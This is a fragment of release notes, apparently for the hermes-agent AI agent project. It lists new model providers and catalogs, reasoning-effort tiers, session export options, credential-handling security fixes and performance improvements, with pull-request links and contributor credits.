<p><strong>New providers and the newest frontier models</strong> — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up <strong>GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route)</strong>, <strong>grok-4.5 (GA)</strong>, <strong>moonshotai/kimi-k3</strong>, <strong>claude-fable-5 / claude-sonnet-5</strong>, and GA <strong>tencent/hy3</strong> — plus LM Studio JIT model loading for local setups. (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> completing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848372503" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/61578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61578/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/61578">#61578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>)</p>
</li>
<li>
<p><strong>Crank the thinking to max — new reasoning effort tiers and per-model control</strong> — Reasoning effort gained <code>max</code> and <code>ultra</code> levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin <strong>per-model reasoning-effort overrides</strong> in config, set <strong>per-slot effort in MoA presets</strong> (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Your sessions, your data — export everything</strong> — <code>hermes sessions export</code> now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in <code>--redact</code> secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Security hardening round</strong> — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>)</p>
</li>
</ul>
<hr>
<h2>⚡ Performance — the speed spine</h2>
<h3>First-turn latency (all platforms)</h3>
<ul>
<li><strong>~80% TTFT cut</strong> — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Perceived-latency round 2</strong> — <code>display.show_reasoning</code> default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (<a href="https://github.com/NousResearch/hermes-agent/pull/64460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64460/hovercard">#64460</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67788/hovercard">#67788</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Desktop speed wave</h3>
<ul>
<li>14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (<a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66347" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66347/hovercard">#66347</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67857" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67857/hovercard">#67857</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66470" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66470/hovercard">#66470</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (<a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67842/hovercard">#67842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67195" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67195/hovercard">#67195</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67245/hovercard">#67245</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67824/hovercard">#67824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67838/hovercard">#67838</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67844" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67844/hovercard">#67844</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/67466" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67466/hovercard">#67466</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67697" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67697/hovercard">#67697</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Everywhere else</h3>
<ul>
<li>TUI renders streamed markdown incrementally per block (<a href="https://github.com/NousResearch/hermes-agent/pull/67236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67236/hovercard">#67236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (<a href="https://github.com/NousResearch/hermes-agent/pull/61414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61414/hovercard">#61414</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61131/hovercard">#61131</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63941" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63941/hovercard">#63941</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway <code>session.resume</code> model + display history from one SELECT (<a href="https://github.com/NousResearch/hermes-agent/pull/61133" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61133/hovercard">#61133</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61368" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61368/hovercard">#61368</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67247" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67247/hovercard">#67247</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>hermes update</code> skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (<a href="https://github.com/NousResearch/hermes-agent/pull/61580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61580/hovercard">#61580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60883/hovercard">#60883</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (<a href="https://github.com/NousResearch/hermes-agent/pull/67403" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67403/hovercard">#67403</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Providers &amp; models</h3>
<ul>
<li><strong>Fireworks AI provider</strong> with cost estimation + cached picker price columns, promoted to <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> in provider pickers (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65476/hovercard">#65476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65214/hovercard">#65214</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>DeepInfra</strong> hardened integration; <strong>Upstage Solar</strong> provider (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614488518" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/42231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42231/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/42231">#42231</a> salvage) (<a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong>GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end</strong> — context lengths, native/Codex catalogs, pricing, compaction caps across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, building on <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>)</li>
<li>grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (<a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65922/hovercard">#65922</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56617" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56617/hovercard">#56617</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60943/hovercard">#60943</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Catalog-labeled silent default (GLM-5.2) + bare-provider <code>/model</code> cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/64771" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64771/hovercard">#64771</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67606" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67606/hovercard">#67606</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (<a href="https://github.com/NousResearch/hermes-agent/pull/58884" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58884/hovercard">#58884</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61873/hovercard">#61873</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57038" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57038/hovercard">#57038</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57028/hovercard">#57028</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Claude Sonnet 5 fully wired</strong> — curated lists, intro pricing, and metadata across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/67932" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67932/hovercard">#67932</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hide providers you don't use</strong> — <code>enabled: false</code> per-provider flag + <code>excluded_providers</code> config scrub unwanted providers from <code>/model</code> pickers and built-in resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/67971" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67971/hovercard">#67971</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (<a href="https://github.com/NousResearch/hermes-agent/pull/68007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68007/hovercard">#68007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67977" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67977/hovercard">#67977</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68005" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68005/hovercard">#68005</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67976/hovercard">#67976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/68108" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68108/hovercard">#68108</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (<a href="https://github.com/NousResearch/hermes-agent/pull/67758" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67758/hovercard">#67758</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67904" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67904/hovercard">#67904</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67908/hovercard">#67908</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Reasoning &amp; MoA</h3>
<ul>
<li><code>max</code> + <code>ultra</code> effort levels across every surface and route (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped <code>/reasoning</code> in the CLI (<a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67946/hovercard">#67946</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
